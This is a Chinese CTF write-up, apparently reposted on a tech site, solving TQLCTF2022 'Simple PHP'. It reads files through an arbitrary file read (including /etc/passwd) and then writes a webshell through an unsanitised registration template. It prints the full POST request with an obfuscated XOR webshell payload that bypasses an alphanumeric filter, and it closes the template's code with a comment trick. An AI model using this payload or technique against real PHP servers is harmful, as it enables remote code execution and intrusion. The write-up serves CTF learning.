IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> [TQLCTF2022] Simple PHP WP -> 正文阅读

[PHP知识库][TQLCTF2022] Simple PHP WP

做杂项写脚本写到头皮发麻的ctf,我只遇到这一次,呜呜呜~~还是我太菜了。。

这个题很有意思,写shell的姿势比较好玩,我在之前搞渗透的时候同样遇到类似手法,类似于某版本的derder的后台getshell。
所以就记录一下。
打开题目是一个登录口,个人习惯,先测一下注入,发现是不存在的,然后注册一个号上去康康,这一康不得了,发现了有个功能点有任意文件读取,他是去加载本地文件的一个功能。并且文件的路径和文件名可控,在测试了/etc/passwd,成功读取了。
在这里插入图片描述

然后在fuzz了一下flag文件名没有结果后,继续尝试下一步,把所有的源码读出来,我首先读了这个功能点的源码。发现是用的file_get_contents函数,所以并不存在文件包含。这里只能用来读源码了。

<?php
error_reporting(0);
$image = (string)$_GET['image'];
echo '<div class="img"> <img src="data:image/png;base64,' . base64_encode(file_get_contents($image)) . '" /> </div>';
?>
接下来继续读取index.php,我先把关键代码贴上再分析。
<?php
error_reporting(0);
if(isset($_POST['user']) && isset($_POST['pass'])){
	$hash_user = md5($_POST['user']);
	$hash_pass = 'zsf'.md5($_POST['pass']);
	if(isset($_POST['punctuation'])){
		//filter
		if (strlen($_POST['user']) > 6){
			echo("<script>alert('Username is too long!');</script>");
		}
		elseif(strlen($_POST['website']) > 25){
			echo("<script>alert('Website is too long!');</script>");
		}
		elseif(strlen($_POST['punctuation']) > 1000){
			echo("<script>alert('Punctuation is too long!');</script>");
		}
		else{
			if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){
				if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){
					$_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);
					$template = file_get_contents('./template.html');
					$content = str_replace("__USER__", $_POST['user'], $template);
					$content = str_replace("__PASS__", $hash_pass, $content);
					$content = str_replace("__WEBSITE__", $_POST['website'], $content);
					$content = str_replace("__PUNC__", $_POST['punctuation'], $content);
					file_put_contents('sandbox/'.$hash_user.'.php', $content);
					echo("<script>alert('Successed!');</script>");
				}
				else{
					echo("<script>alert('Invalid chars in website!');</script>");
				}
			}
			else{
				echo("<script>alert('Invalid chars in username!');</script>");
			}
		}
	}
	else{
		setcookie("user", $_POST['user'], time()+3600);
		setcookie("pass", $hash_pass, time()+3600);
		Header("Location:sandbox/$hash_user.php");
	}
}
?>

他这里会将传进来的密码MD5加密一下。在前面加上zsf。
判断是否为注册的条件是看是否传入’punctuation’,如果没有传入他的话的话,他会判断为是登录行为,跳到else然后用之前的$hash_user为标识跳转到指定的页面。
如果是登录的话。首先会判断长度,然后嵌套了几个判断,用正则匹配去拦掉危险字符。只有所有条件都满足,才会成功注册。这里他的正则表达式。
我们先不去看,先看一下注册成功之后 的流程。他会先读取一个html文件赋值给$content变量,然后用我们传进来的用户名网站等参数去替换他,然后写到一个新的文件,文件名以$hash_user来命名。
登录的话,跳转的界面就是用$hash_user来界定的,换句话来说,就是将每个用户的信息已经写道那个指定的文件了。
我们继续读取template.html来看接下来的代码。我贴出关键的部分。

		<?php
			error_reporting(0);
			$user = ((string)__USER__);
			$pass = ((string)__PASS__);
			
			if(isset($_COOKIE['user']) && isset($_COOKIE['pass']) && $_COOKIE['user'] === $user && $_COOKIE['pass'] === $pass){
				echo($_COOKIE['user']);
			}
			else{
				die("<script>alert('Permission denied!');</script>");
			}
		?>

关键代码在这里。这里的__USER__和__PASS__是我们再注的时候替换的地方,还有其他的两处在前端代码里。也就是,如果把__PASS__这里的代码,换成我们的wbshell。那是不是就getshell了,这里登录成功与否,已经不重要了。。
现在我们回头去看正则表达式,由于密码会被哈希加密,我们就不用看了。。

if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user'])
if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) 
$_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);

User参数能输入的只有匹配字母、数字、下划线、还有括号、斜杠、星号、尖括号。

但是这里user参数,有长度限制,六个字符,确实写不了一个webshell,然后我们继续看下一个website,长度限制25,这里是可以写shell的,但是正则那里做了限制,
最后punctuation虽说没有长度限制,但是会将字母数字全替换为空这里问题不大,用异或或者取反,都能绕过,不就是一个小小的正则匹配嘛,办他!。但是这里有个问题,是’>’和‘?’会被替换,用PHP短标签不闭合不了,路走到这里就没了。
当我再看源码时发现了一个问题。
在这里插入图片描述

__PUNC__的位置在__USER__之后,我们在这里可以用多行注释将中间的代码注释掉,然后在__PUNC__的地方 写入注释结束符,再写webshell,让他们结合起来,咱自己不传,用他自带的php标签。那就解决问题了。
我们首先要将之前的括号给闭合掉然后再将中间代码注释,所以再user处我们传的内容就是“1)/*”。
在punctuation处将注释闭合,然后写分号,这是php语法,没啥好说的然后后边再接上webshell,然后再接上/*因为后面没有闭合php标签,所以会报错。在后边加一个注释给他(在写“+“加号的 时候注意这个问题,需要将加号url编码一下。因为加号这里是等于空格的。在rce的空格被ban时可以用+绕过,题外话这是。)
然后传进去的流量包就是这了

POST /index.php HTTP/1.1
Host: 120.77.216.55:22336
Content-Length: 98
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://120.77.216.55:22336
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://120.77.216.55:22336/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

user=1)/*&pass=rr&website=&punctuation=*/;@$_%2b%2b;$__='#./|{'^'|~`//';${$__}[!$_](${$__}[$_]);/*

写进去之后,这个文件的状态就是这样的。webshell是不是很自然的就写进去了,毫无违和感。
在这里插入图片描述

Webshell写进去之后就在根目录下拿到flag了

在这里插入图片描述

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-02-26 11:10:13  更:2022-02-26 11:11:04 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/26 15:55:35-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计